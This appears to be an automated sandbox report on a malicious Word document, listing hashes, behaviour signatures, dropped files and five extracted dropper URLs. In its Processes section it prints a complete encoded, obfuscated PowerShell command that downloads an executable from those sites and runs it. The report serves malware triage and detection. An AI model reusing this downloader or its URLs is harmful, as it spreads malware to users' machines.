Analysis
-
max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
-
submitted
17-05-2024 23:19
General
-
Target
5037ff6b709db5b24239f90256b800b4JaffaCakes118.doc
-
Size
155KB
-
MD5
5037ff6b709db5b24239f90256b800b4
-
SHA1
5315d99f5f0552777c3a16a6ab5fdc455f86ddbb
-
SHA256
afd6940f7201824355e52ff193f809f8ab9aad69a1e86b1b3ded184726096065
-
SHA512
02553a8d3343297a1bb6c59ca4801fea0d4e01f9f6076e768053cf86e56fa804af9b230424b60783bce1c072c3874d6ff9dfd1f6458b120266d0f6557b06e1ef
-
SSDEEP
3072:e4eOY5CTsdA93NbBEPzMziPmFdomccjCshT3mmC1YZQXfTaM7vtX:eTbsbiIziPmFdomXBV3mL1YZQXfvvtX
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
exe.dropper
http://www.atuteb.com/wp-content/themes/xy/
exe.dropper
http://darthgoat.com/files/vq2V/
exe.dropper
http://mifida-myanmar.com/wp-includes/ishN/
exe.dropper
http://ragnar.net/cgi-bin/lFGs9/
exe.dropper
http://sama-woocommerce-application.com/demo/nxQtT/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 2 IoCs
-
Drops file in System32 directory 1 IoCs
-
Drops file in Windows directory 1 IoCs
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies Internet Explorer settings 1 TTPs 31 IoCs
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5037ff6b709db5b24239f90256b800b4JaffaCakes118.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABkAFgAQQBvAFEAQQBBAEEAPQAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAgACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAnAEEAJwAsACcAcwBBAEMAJwApACwAJwBBACcAKQAsACcAbwAnACkAOwAkAGoAQQBBAG8AXwBCACAAPQAgACcANAAwADkAJwA7ACQAYwBYAEEAQQBHAFoARABrAD0AKAAiAHsAMAB9AHsAMQB9ACIALQBmACAAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAJwBVACcALAAnAEwAawBVACcAKQAsACcAUQBBACcAKQA7ACQAQQBBAEEAQQBBAEQAUQBCAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABqAEEAQQBvAF8AQgArACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAJwAuACcALAAnAGUAeABlACcAKQA7ACQASABBADEAMQBCAG8APQAoACIAewAxAH0AewAyAH0AewAwAH0AIgAgAC0AZgAoACIAewAyAH0AewAxAH0AewAwAH0AIgAtAGYAJwA0ACcALAAnAEEAJwAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAnAGMAQwAnACwAJwBBAF8AJwApACkALAAnAEEAJwAsACcAdwAnACkAOwAkAEoAQQBvAFEAbwBVAD0ALgAoACcAbgBlAHcALQBvAGIAJwArACcAagBlACcAKwAnAGMAdAAnACkAIABuAGAAZQB0AGAALgB3AEUAYgBjAGwASQBlAG4AVAA7ACQASwBjAGsAQQBaAGsAPQAoACIAewA0ADgAfQB7ADQANQB9AHsAMwA5AH0AewA3AH0AewAwAH0AewA1ADYAfQB7ADMANgB9AHsAMgA3AH0AewA0ADMAfQB7ADMAOAB9AHsANAA0AH0AewA0ADIAfQB7ADUAMQB9AHsANQAwAH0AewAxADIAfQB7ADQAOQB9AHsAMQA2AH0AewA1ADMAfQB7ADQAfQB7ADMAMgB9AHsAMQAwAH0AewAzADUAfQB7ADMAMQB9AHsAOQB9AHsANAAwAH0AewAxADQAfQB7ADMANAB9AHsAMgA1AH0AewAyADIAfQB7ADEANwB9AHsAMwAwAH0AewAxAH0AewAyADQAfQB7ADQANwB9AHsAMQA5AH0AewA1ADUAfQB7ADYAfQB7ADIAOAB9AHsAMgAzAH0AewAxADEAfQB7ADIAMAB9AHsANAA2AH0AewAyAH0AewAyADkAfQB7ADEAOAB9AHsANAAxAH0AewAzAH0AewAxADMAfQB7ADEANQB9AHsANQAyAH0AewA1AH0AewAyADEAfQB7ADMAMwB9AHsAMgA2AH0AewA1ADcAfQB7ADgAfQB7ADUANAB9AHsAMwA3AH0AIgAtAGYAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAG8AbQAvACcALAAnAGMAJwApACwAJwAvACcALAAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAnAGkAbgAvACcALAAnAGIAJwApACwAJwAvAEAAJwAsACgAIgB7ADIAfQB7ADAAfQB7ADEAfQAiACAALQBmACcALwBAACcALAAnAGgAJwAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAJwAvACcALAAnAHYAcQAyAFYAJwApACkALAAoACIAewAwAH0AewAxAH0AewAyAH0AIgAgAC0AZgAgACcAYwBvAG0AJwAsACcAbQAnACwAJwBlAHIAJwApACwAJwAvAGkAJwAsACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiAC0AZgAgACcAdAAnACwAJwBlAGIALgAnACwAJwB1AHQAJwApACwAJwBlACcALAAnAG0AaQAnACwAJwBwADoAJwAsACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAgACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcAOgAnACwAJwAvAC8AcgAnACkALAAnAHQAcAAnACkALAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBnACcALAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAgACcAYQAnACwAJwByAHQAaAAnACkAKQAsACcAaAB0AHQAJwAsACcAZAAnACwAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAC8AcwAnACwAJwBwADoALwAnACkALAAnAHQALgAnACwAJwAuAGMAbwAnACwAJwBGAEcAJwAsACcAYwBsAHUAJwAsACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiAC0AZgAgACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcAYQAnACwAJwBnAG4AYQByACcAKQAsACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAgACcAYwBnACcALAAnAHQALwAnACkALAAnAC4AbgBlACcAKQAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACcAYQAnACwAJwBjAGUALQAnACkALAAnAHAAJwApACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAG4AbQAnACwAJwBhAHIAJwApACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACcATgAvAEAAJwAsACcAaAB0ACcAKQAsACcAdwBwAC0AJwAsACcAbQB5AGEAJwAsACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAnAC4AJwAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcAYQB0ACcALAAnAGkAbwBuACcAKQApACwAJwB0ACcALAAnAHMAaAAnACwAJwBsACcALAAnAG0AJwAsACcALwAnACwAJwB0AHQAJwAsACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAnAGkAYwAnACwAJwBwAGwAJwApACwAJwBhAC0AJwAsACcALwAnACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwBwAC0AYwAnACwAJwBvAG4AJwApACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACcAbgAnACwAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAJwB0AFQALwAnACwAJwB4AFEAJwApACkALAAnAG0AJwAsACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAnAHcALgBhACcALAAnAC8AdwB3ACcAKQAsACcAZgBpACcALAAnAHMAOQAnACwAJwB4ACcALAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwB0AGgAZQAnACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACcAZQBuACcALAAnAHQALwAnACkAKQAsACcAZQBzAC8AJwAsACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAnADoALwAnACwAJwB0AHQAcAAnACkALAAnAGkALQAnACwAJwBpAG4AJwAsACcAaAAnACwAJwBvAGEAJwAsACgAIgB7ADEAfQB7ADIAfQB7ADAAfQAiACAALQBmACcALwBkACcALAAnAHQAdAAnACwAJwBwADoALwAnACkALAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBoACcALAAnAHkALwBAACcAKQAsACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAgACcAbwBvACcALAAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAnAC0AdwAnACwAJwBhAG0AYQAnACkAKQAsACgAIgB7ADEAfQB7ADIAfQB7ADAAfQAiAC0AZgAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnAGYAaQBsAGUAJwAsACcAcwAnACkALAAnAGMAJwAsACcAbwBtAC8AJwApACwAJwBtAG8ALwAnACwAJwBkAGUAcwAnACwAJwB3ACcALAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBtAC8AZAAnACwAJwBjAG8AJwApACkALgAiAHMAYABQAGwAaQBUACIAKAAnAEAAJwApADsAJABxAEIARABEAEEANABDAD0AKAAiAHsAMAB9AHsAMQB9ACIALQBmACAAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAKAAiAHsAMAB9AHsAMQB9ACIALQBmACAAJwB3AEEAJwAsACcAdwBBACcAKQAsACcAeAAnACkALAAnADEAJwApADsAZgBvAHIAZQBhAGMAaAAoACQASABBAEQANABBAEIAXwB3ACAAaQBuACAAJABLAGMAawBBAFoAawApAHsAdAByAHkAewAkAEoAQQBvAFEAbwBVAC4AIgBkAE8AYABXAGAATgBgAEwATwBBAGQAZgBJAEwAZQAiACgAJABIAEEARAA0AEEAQgBfAHcALAAgACQAQQBBAEEAQQBBAEQAUQBCACkAOwAkAEIARwB3ADQAbwBjAD0AKAAiAHsAMgB9AHsAMQB9AHsAMAB9ACIALQBmACAAJwBjAEQAJwAsACcAQQAnACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwBIACcALAAnAEEAQQBrACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEEAQQBBAEEAQQBEAFEAQgApAC4AIgBsAEUATgBgAEcAdABIACIAIAAtAGcAZQAgADMANQA3ADMAMQApACAAewAuACgAJwBJAG4AdgBvAGsAJwArACcAZQAtAEkAdABlACcAKwAnAG0AJwApACAAJABBAEEAQQBBAEEARABRAEIAOwAkAHoAQQBRAGsARwBEADQAQQA9ACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAnAHcAawBDACcALAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAnAG8AJwAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcARABDAEcAJwAsACcAWgAnACkAKQApADsAYgByAGUAYQBrADsAJAB6AEIAVQBvAHgAXwBRAEEAPQAoACIAewAxAH0AewAwAH0AewAyAH0AIgAgAC0AZgAnAG8AWAAnACwAJwBEAEEAJwAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAJwBBACcALAAnAFoAWgBBACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJAB6AHcAQQBCAFUARABYAEEAPQAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBEAG8AVQAnACwAJwBBAEEAJwApACwAJwBRACcAKQAsACcAcwAnACkA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
20KB
MD526418a4d9828d725a597ccb8c11a9c4d
SHA147fb9269ad4b25b7f1f55df19a40a3f675b46362
SHA2562f1a9374ab662e950202d5002cf7e2fb1fa1ce572ac568881fc9599de3d39ff9
SHA5125f63a5662363d41a1cf883220f0694c31e03ee0a08b51fc1f79e191414a6be0ca75550bd9d510f0a6afca9790a737d5124760b9ce1cc7f7b2c1b09029f539ef8
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
4KB
-
Filesize
44KB
-
Filesize
64KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
64KB
-
Filesize
32KB
-
Filesize
2.9MB